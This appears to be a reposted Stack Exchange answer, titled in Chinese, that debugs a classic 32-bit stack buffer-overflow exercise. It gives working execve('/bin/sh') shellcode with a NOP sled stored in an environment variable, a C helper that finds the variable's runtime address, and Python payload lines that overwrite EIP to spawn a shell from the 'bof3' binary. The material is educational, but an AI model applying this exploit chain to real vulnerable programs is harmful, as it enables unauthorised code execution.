为何无法执行存储在环境变量中的Shellcode?
You've successfully controlled EIP—great start! The issue preventing your shellcode from running boils down to two key problems: your shellcode is getting corrupted when stored in the environment variable, and the address you're using doesn't match the actual runtime address of the shellcode. Let's fix this step by step.
1. Fix the Environment Variable Shellcode Storage
Your env_shellcode-2.sh uses echo $total to set the environment variable, but echo mangles non-printable bytes (like \x90 NOPs or \x31 opcodes) by treating them as text. This means the shellcode in MYSHELLCODE isn't the raw binary you need to execute.
Update your script to use printf instead, which preserves raw binary data:
#!/bin/sh nopsled=$(perl -e 'print "\x90"x200') shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" total=$nopsled$shellcode # Use printf to preserve raw bytes instead of echo export MYSHELLCODE=$(printf "$total") # Verify the raw bytes with xxd (you should see the correct opcodes) printf "$MYSHELLCODE" | xxd
Source the updated script to apply the changes:
source env_shellcode-2.sh
2. Get the Exact Runtime Address of MYSHELLCODE
GDB modifies the process environment when launching your program (adds its own debug-related variables), so the address you get in GDB won't match the address when running the program directly. Instead, use a simple 32-bit tool to fetch the environment variable's actual runtime address:
Create getenvaddr.c:
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <environment-variable-name>\n", argv[0]); return 1; } char *env_addr = getenv(argv[1]); if (!env_addr) { printf("Environment variable %s not found\n", argv[1]); return 1; } printf("Address of %s: 0x%x\n", argv[1], (unsigned int)env_addr); return 0; }
Compile it as a 32-bit binary (critical since your target program is 32-bit):
gcc -m32 getenvaddr.c -o getenvaddr
Run it to get the address of MYSHELLCODE:
./getenvaddr MYSHELLCODE
Note down the output address (e.g., 0xffffdea2).
3. Construct the Correct Payload and Test
- Convert the address to little-endian (since x86 uses little-endian byte ordering). For example,
0xffffdea2becomes\xa2\xde\xff\xff. - Target the middle of the NOP sled (subtract 50-100 from the address) to account for small stack variations. If your address is
0xffffdea2, use0xffffde7a(which translates to\x7a\xde\xff\xff). - Avoid using a plain pipe for testing—
/bin/shneeds a terminal to interact with. Use a subshell that keeps stdin open:
(python -c 'print("a"*44 + "\x7a\xde\xff\xff")'; cat) | ./bof3
Or write the payload to a file and feed it to the program:
python -c 'print("a"*44 + "\x7a\xde\xff\xff")' > payload.txt ./bof3 < payload.txt
Why This Works
printfpreserves the raw shellcode bytes, so the environment variable now contains the exact opcodes needed for execution.- The
getenvaddrtool gives you the actual runtime address ofMYSHELLCODE, not the GDB-modified one. - Targeting the middle of the NOP sled ensures that even if the stack shifts slightly, you'll land in the NOPs and slide smoothly into the shellcode.
内容的提问来源于stack exchange,提问作者takahito

